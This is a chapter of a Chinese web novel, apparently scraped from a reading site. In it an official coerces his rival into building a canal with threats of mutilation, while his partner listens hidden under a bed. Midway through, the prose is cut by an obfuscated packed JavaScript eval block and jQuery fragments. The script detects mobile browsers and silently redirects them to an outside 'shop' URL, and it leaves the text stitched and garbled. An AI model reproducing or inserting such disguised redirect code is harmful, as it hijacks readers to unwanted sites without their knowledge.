如此狠辣的手段,被陆阙轻描淡写地说出来,甚至他脸上还带着风清月朗的浅笑。
这一刻,前世权倾朝野的陆阙才露出了獠牙,初出茅庐的钟兴阁,显然不够看。
秦明彦躲在床底下,将陆阙的话听得清清楚楚,他猛地捂住了嘴,瞳孔震惊地收缩。
“你、你……”钟兴阁亦是脸色苍白,不可置信地看着陆阙,指着陆阙的手微微颤抖。
他万万没想到陆阙竟然能说出这种话。
庆朝素来优待士族,刑不上大夫,此等行径,简直闻所未闻!
钟兴阁无法想象,若自己真的被拔掉舌头,又失去手指,这辈子都被困在暗无天日矿坑里,再也不能读书习字,将是何等的绝望!
陆阙见钟兴阁一副被被吓到的样子,微微感叹:现在的老对头还太青涩呀。
如果是前世在官场沉浮了二十年的钟兴阁,只会根据他话里的漏洞,面不改色地继续与他周旋。
陆阙露出一个安抚的笑,他的最终目的还是要钟兴阁去修水渠,威胁只是手段,不是目的。
他好整以暇地道:“当然,如果建安兄愿意配合,这种事情自然不会发生。”
“只要你尽心尽力地修好水渠,保证昌阳县接下来三年用水无虞,你就依然是我们昌阳县二、呃三把手,我会给你应有的体面。”
“待水渠修成,利在千秋,也是建安兄的一份功绩,青史之上,未必不能留下一笔。”
陆阙威逼完后,紧接利诱。
钟兴阁死死地看着陆阙,他试图看清陆阙的神情,想在他脸上找到玩笑的痕迹。
然而没有。
陆阙脸上毫无波澜,他就是在明明白白地告诉钟兴阁,要么接受合作,体面地活下去,要么就被毁掉,消失地无声无息。
而这一切的选择权,看似还在钟兴阁手中。
实则完全系于陆阙的一念之间,或者说是在床下躲着的秦明彦,因为顾忌他的感受,陆阙才没有对钟兴阁动手。
床底下,秦明彦连呼吸都屏住了,甚至能听到心跳在剧烈跳动,他不敢相信自己的耳朵,他刚刚亲耳听到陆阙说:
“拔掉你的舌头,敲碎你的指骨……丢到矿坑里当一辈子苦役……”
这样残酷的字眼,竟然是阿雀能说出来的话?
他那平日里看起来柔柔弱弱,对于他的提议总会无奈的答应,在亲昵时经常对他撒娇、使小性子的夫郎?
是为了震慑钟兴阁吧,是的,肯定是的。
秦明彦试图为陆阙找理由,钟兴阁知道了太多秘密,陆阙必须控制住他,不能让他泄密。
可这手段……未免太过酷烈。
而且,陆阙提到他时的语气……看在秦郎的面子上……
秦明彦心里很复杂,是因为自己,陆阙才选择收手的?
陆阙并不在意钟兴阁心里是怎么艰难抉择的,他站起身将带来的卷宗放在桌上,语气笃定地道:“昌阳县地貌图与相关卷宗,我给你带来了,建安兄可以先熟悉一下。”
“至于实地勘察……待你考虑清楚,我自会安排专人保护你探察走访。”
他转过身,目光再次落在钟兴阁身上,微笑道:“我相信,以建安兄的才智,定能权衡利弊,做出最明智的选择。”
说完,他不再停留,转身便向门口走去。
“等等,”钟兴阁突然叫住陆阙,声音沙哑地道:“我答应你。”
陆阙脚步顿住,嘴角微勾,算他识相。
他没有回头,只是淡淡应了一声:“明智之举。”
随着陆阙离开,门咔哒一声,被重新落锁,房间内再次恢复寂静,只剩下钟兴阁粗重的呼吸声,他神情还没有平复。
以及床底下,已经像跟枯木一样的秦明彦。
过了好一会儿,确定陆阙已经走远,秦明彦才从床底下爬了出来。
他顾不上身上的蛛网灰尘,神情复杂地看着,还站在原地面无血色的钟兴阁。
两人对视一眼,一时竟相顾无言。
刚才陆阙那番话,对二人都造成了不小的冲击。
最终,还是秦明彦先打破了沉默,他有些艰难地开口,道:“他刚才说……”
“若非亲耳听闻,我也是难以置信,”钟兴阁打断他,语气带着一种深深的疲惫和自嘲,“陆阙他……藏得可真深。”
之前在书院,可没见过陆阙这副面孔。
看着秦明彦脸上显而易见的迷茫,钟兴阁心情稍微平复了一些,同时也升起一丝同病相怜。
这个山匪头子对陆阙用情至深,但也不清楚对方的真面目。
“秦义士,”钟兴阁的语气缓和了些,道:“陆阙此人心思深沉,手段莫测,你与他之间还是多考虑一下吧。”他这话带着几分真诚。
无论陆阙是因何缘故与这些人为伍,其本性已显露无疑。
秦明彦猛地抬起头,眼神虽然还有些混乱,却很执拗,道:“我知道他不完美!没有人是完美的,但是……”
他顿了顿,像是在说服自己,又像是在对抗钟兴阁的话,道:“但是他并没有真的这么做,不是吗?他记得我说过要修水渠……他刚才也说了,因为我,才没有真的对你下杀手,不是吗?”
钟兴阁看出劝说无用,不再多言,他摊开陆阙带来的地图。
“为什么非要修水渠?”钟兴阁忽然问道,语气平静了许多。
秦明彦愣了一下,下意识回答:“因为……因为我告诉他,接下来可能会有大旱,修水渠可以抗旱……”
话一出口,他就后悔了。
这事关他的穿越者的身份,怎么能随意透露给别人?
钟兴阁果然皱起了眉,疑惑地看向他,道:“大旱?你从何得知?”
“我……”秦明彦语塞,他支支吾吾地道,“我……观察天象,推测的。”
钟兴阁显然不信,但看他这个样子,也不再追问,只是重新将目光投向图纸,淡淡地道:“他倒是对你的话深信不疑。”
他的指尖划过图纸上规划的几条水道路线,眉头微皱,陷入了沉思。
陆阙为何如此执着于修建水渠?难道真如这秦明彦所说,是为了应对即将到来的大旱?
可这山匪头子又是如何推测出这样的天灾?
太多的疑问盘旋在心头,但钟兴阁清楚,眼下却不是深究的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750830|189969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他既然已经应下这差事,便没有回头路。
无论陆阙的目的是什么,修渠本身确实是利民之举,他钟兴阁不屑于因个人恩怨而罔顾民生。
“秦义士,”钟兴阁头也没抬,神色已经恢复了冷静,带着逐客的意味道:“若无他事,便请自便吧,钟某需要研读昌阳县地势图纸,思索水渠走向,无暇顾忌您。”
“钟大人,你先忙着,我……我出去看看。”
钟兴阁头也没抬,只是挥了挥手。
秦明彦赶紧溜出屋子,再次叮嘱门口的护卫锁好门,小声又问道:“陆县令出来,没又什么异样吧?”
护卫摇了摇头。
秦明彦松了口气,也是,他藏得好好的,陆阙发现不了,
离开软禁钟兴阁的屋子,秦明彦的心却并没有变得轻松,他鬼使神差地又摸到陆阙书房附近,偷偷观望。
书房内,陆阙正从钟兴阁行李中翻出的委任书,还有一封贺平章托钟兴阁转交给他的信件。
陆阙拆开信纸看了看。
果然还是老三样,无非就是那些老生常谈的劝诫之语。
陆阙想了想,提笔给贺平章回了信件,自然是一番粉饰太平。
写完信,陆阙放下笔,有些疲惫地靠向椅背。
秦明彦那个家伙,还要冷静多久?
陆阙还不知道秦明彦已经回到县衙,正在不远处盯着他,只当那个家伙还躲在某个地方当缩头乌龟。
陆阙轻轻叹了一口气。
任重道远啊。
他现在还不能急,得等那个憨子自己想明白。
现在快到午时了,青壶端来饭菜。
陆阙拿起筷子用餐,在吃到那盘鱼的时候,胃里突然一阵翻江倒海,他忍不住侧身干呕起来。
之前他总会小心避开人,但这次以为秦明彦不在,便没有掩饰。
在外面偷偷观察的秦明彦看到,陆阙突然痛苦地低头干呕,什么心虚、挣扎瞬间被抛到脑后,他急匆匆地跳窗闯了进来,下意识拍了拍他的后背,道:“阿雀,你怎么了?”
他抬头看到桌子上陆阙刚刚夹过的鱼肉,道:“是被鱼刺卡住了吗?”
陆阙被他吓了一跳,看清是他,眼中闪过一丝惊讶。
他什么时候回来的?
秦明彦已经忘记了自己还在心虚,不敢见陆阙钟钟,着急道:“怎么样?你有没有事?”
“我没事,”陆阙刚说完,又忍不住犯恶心,道:“只是有些反胃。”
“我去请大夫!”秦明彦立刻道。
陆阙立刻拦住他,低声道:“不能请大夫,你忘了我是哥儿,大夫会看出来的。”
“那怎么办,”秦明彦这才想到,他急的团团转,突然拍头道:“我去绑一个大夫回来!”
“胡闹!”陆阙此时已经缓过来了,轻声训斥道:“你还当你是山大王吗?我戴上帷幕,晚些时候,你陪我去一趟医馆就是了。”
秦明彦讷讷地点头。
他看着陆阙已经和缓的神情,那场绮丽的脸上带着温柔的笑意,眼睛水润润地看着他。
陆阙轻声道:“什么时候回来的?”